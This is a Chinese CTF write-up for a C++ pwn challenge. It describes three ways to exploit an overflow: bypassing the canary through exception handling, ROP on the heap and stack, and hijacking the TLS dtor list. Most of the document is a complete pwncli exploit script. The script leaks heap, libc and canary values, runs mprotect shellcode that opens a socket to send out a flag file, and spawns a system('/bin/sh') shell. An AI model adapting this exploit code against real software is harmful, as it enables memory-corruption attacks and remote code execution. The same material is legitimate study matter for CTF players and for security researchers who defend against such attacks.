知识点
- 溢出漏洞在异常处理中的攻击利用手法
- magic gadget
- tls劫持
分析
- 明显的溢出
-
溢出可以通过异常处理来绕过覆盖
canary
造成的影响,可参考溢出漏洞在异常处理中的攻击利用手法 -
程序本身里有两个catch块,一个位于main中,一个位于destructor函数中。并且destructor函数最后通过
leave;retn
返回,并且rbp
也已经覆盖为我们输入的地址,自然可以利用栈迁移。
方法一:堆上rop
- 调用destructor函数最终会关闭输入输出流,所以我们rop的时候还得通过
socket
连接来输出flag
。
- 首先通过
show
功能来泄露出堆地址。 - 然后是
rop
链的构造,pwn题开头一般都有setvbuf(stdin/stdout/stderr,0,2,0)
无缓存处理,并且已知elf基址,bss段上的这三个指针都是libc相关地址,可以适当利用gadget算出来想跳的地址。 - 构造好
mprotect
函数以及相关参数后,再通过socket输出flag。
方法二:栈上rop(非预期)
- 因为main里面做了catch,所以throw出来的exception不会导致程序退出,exception被catch之后,第一个执行的是
__cxa_begin_catch
,该函数会返回一个指向对象的指针,随后被存入以rbp为基址的内存中。我们可以通过适当的rbp将该指针存入题目构造的堆数据结构中,通过一定的字节错位从而修改已经申请的其它堆数据结构,达到任意地址读写。 - 我们可以通过任意读来泄露
tls
结构体中的canary
的值,再任意地址读泄露libc
,即可完成栈上rop
方法三:tls劫持(非预期)
-
前面的步骤与方法二相同,不过我们可以通过
tls_dtor_list
攻击劫持exit执行流程。
细节
tls
结构体每台机器的偏移可能不大一样,需要爆破一定的偏移,所幸的是,tls
开头8字节指向它本身,我们可以以此为判断依据。
exp
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
from pwncli import *
context(arch='amd64', os='linux', log_level='debug')
# use script mode
cli_script()
# get use for obj from gift
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
def add():
sla(b"Now input your choice: ",b'1')
def edit(idx,offest,cont):
sla(b"Now input your choice: ", b'2')
sla(b"To write object, input idx: ",str(idx))
sla(b"Now data offset: ",str(offest))
sla(b"Now input your data: ",cont)
def show(idx):
sla(b"Now input your choice: ", b'3')
sla(b"Which one do you want to read?",str(idx))
def free(idx):
sla(b"Now input your choice: ", b'4')
sla(b"Which one do you want to destroy?",str(idx))
#rop
bss_addr=0x406080+0x400
main_addr=0x402CFD
stderr_addr=0x4061A0
stdin_addr=0x406050
stdout_addr=0x406040
add()#0
add()#1
free(0)
free(1)
add()#0
add()#1
add()#2
show(1)
ru(b"Data: ")
heap_addr=(u64_ex(rl()[:-1])<<12)+0xed0
log_address_ex2(heap_addr)
pop_rbp=0x00000000004022dd
'''
0x00000000004022dc : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
'''
magic_addr=0x00000000004022dc
jmp_rax=0x402DBE
'''
.text:0000000000402FEC 48 8B 45 E8 mov rax, [rbp-0x18]
.text:0000000000402FF0 48 8B 00 mov rax, [rax]
.text:0000000000402FF3 EB 70 jmp short loc_403065
.text:0000000000403065 48 83 C4 10 add rsp, 10h
.text:0000000000403069 5B pop rbx
.text:000000000040306A 41 5C pop r12
.text:000000000040306C 5D pop rbp
.text:000000000040306D C3 retn
'''
mov_add_pop_rbp=0x0000000000402FEC
pop_rbx_r12_rbp=0x403069
pop_rdi=0x0000000000027765
pop_rsi=0x0000000000028f19
pop_rdx=0x00000000000fdcfd
payload=[
pop_rbx_r12_rbp,pop_rsi-libc.symbols['_IO_2_1_stdin_'],0,stdin_addr+0x3d,
magic_addr,
pop_rbx_r12_rbp,pop_rdi-libc.symbols['_IO_2_1_stdout_'],0,stdout_addr+0x3d,
magic_addr,
pop_rbx_r12_rbp,pop_rdx-libc.symbols['_IO_2_1_stderr_'],0,stderr_addr+0x3d,
magic_addr,
#pop rsi
pop_rbp,heap_addr+0x18+0x90,
mov_add_pop_rbp,stdin_addr,
0,0,0,0,jmp_rax,
0x20000,
#pop rdi
pop_rbp,heap_addr+0x18+0xe0,
mov_add_pop_rbp,stdout_addr,
0,0,0,0,jmp_rax,
heap_addr&0xfffffffffffff000,
#pop rdx
pop_rbp,heap_addr+0x18+0xe0+0x50,
mov_add_pop_rbp,stderr_addr,
0,0,0,0,jmp_rax,
0x7,
#mprotct
pop_rbx_r12_rbp,libc.symbols['mprotect']-pop_rdx,0,stderr_addr+0x3d,
magic_addr,
pop_rbp,heap_addr+0x18+0xe0+0x50+0x50+0x28,
mov_add_pop_rbp,stderr_addr,
0,0,0,0,jmp_rax,
heap_addr+0x230
]
print(len(payload))
for i in range(len(payload)):
off=0
while (payload[i]>>off*8)&0xff==0:
off+=1
if off==8:
break
edit(1, i*8+off, p64_ex(payload[i]>>off*8))
shellcode=asm(shellcraft.connect('127.0.0.1',4444,'ipv4'))
shellcode+=asm(shellcraft.open("/flag",0))
shellcode+=asm(shellcraft.read(1,heap_addr,0x50))
shellcode+=asm(shellcraft.write(0,heap_addr,0x50))
edit(0,0,shellcode)
edit(2,0,b'a'*0x208+p64_ex(heap_addr-8)*4+p64_ex(0x40237F))
#canary
add()#0
free(0)
add()#0
show(0)
ru(b"Data: ")
heap_addr=((u64_ex(rl()[:-1])-0x11)<<12)
log_address_ex2(heap_addr)
edit(0,0,b'a'*0x208+p64_ex(heap_addr+0x11eb0+0x18)*3+p64_ex(heap_addr+0x11eb0+0x18)[:-1])
show(0)
libcpp_base=recv_current_libc_addr()-0x20c270
log_address_ex2(libcpp_base)
add()#1
edit(0,0x50,p64_ex(elf.got['alarm']))
show(1)
set_current_libc_base_and_log(recv_current_libc_addr(libc.symbols['alarm']))
edit(0,0x50,p64_ex(libc.symbols['_rtld_global']))
show(1)
ld_base=recv_current_libc_addr(0x32020)
log_address_ex2(ld_base)
#fs_base=ld_base-0x1258c0
#remote
fs_base=ld_base-0x501000+0x740
edit(0,0x50,p64_ex(fs_base+0x29))
show(1)
ru(b"Data: ")
canary=u64_ex(r(7))<<8
log_address_ex2(canary)
CG.set_find_area(find_in_libc=True)
payload=b'\x00'*0x208+p64_ex(canary)*4+p64_ex(CG.pop_rdi_ret()+1)+p64_ex(CG.pop_rdi_ret())+p64_ex(next(libc.search(b'/bin/sh')))+p64_ex(libc.symbols['system'])
edit(0,0,payload)
#劫持tls结构体
add()#0
free(0)
add()#0
show(0)
ru(b"Data: ")
heap_addr=((u64_ex(rl()[:-1])-0x11)<<12)
log_address_ex2(heap_addr)
edit(0,0,b'a'*0x208+p64_ex(heap_addr+0x11eb0+0x18)*3+p64_ex(heap_addr+0x11eb0+0x18)[:-1])
show(0)
libcpp_base=recv_current_libc_addr()-0x20c270
log_address_ex2(libcpp_base)
add()#1
add()#2
add()#3
edit(0,0x50,p64_ex(elf.got['alarm']))
show(1)
set_current_libc_base_and_log(recv_current_libc_addr(libc.symbols['alarm']))
edit(0,0x50,p64_ex(libc.symbols['_rtld_global']))
show(1)
ld_base=recv_current_libc_addr(0x32020)
log_address_ex2(ld_base)
fs_base=ld_base-0x1258c0
#remote
#fs_base=ld_base-0x501000+0x740
edit(0,0x50,p64_ex(fs_base+0x30))
show(1)
ru(b"Data: ")
fs_key=u64_ex(r(8))
log_address_ex2(fs_key)
CG.set_find_area(find_in_libc=True)
enc_addr = ((libc.symbols['system'] ^ fs_key)<<0x11)&0xfffffffffffe0000
enc_addr += ((libc.symbols['system']^ fs_key)>>0x2f)&0x1ffff
log_address_ex2(enc_addr)
edit(3,0,p64_ex(enc_addr))
edit(3,8,p64_ex(CG.bin_sh()))
edit(0,0x50,p64_ex(fs_base-0x78))
edit(0,0x58,p64_ex(0x10))
edit(1,0,p64_ex(heap_addr+0x12400+0x230))
ia()
参考
Comments | NOTHING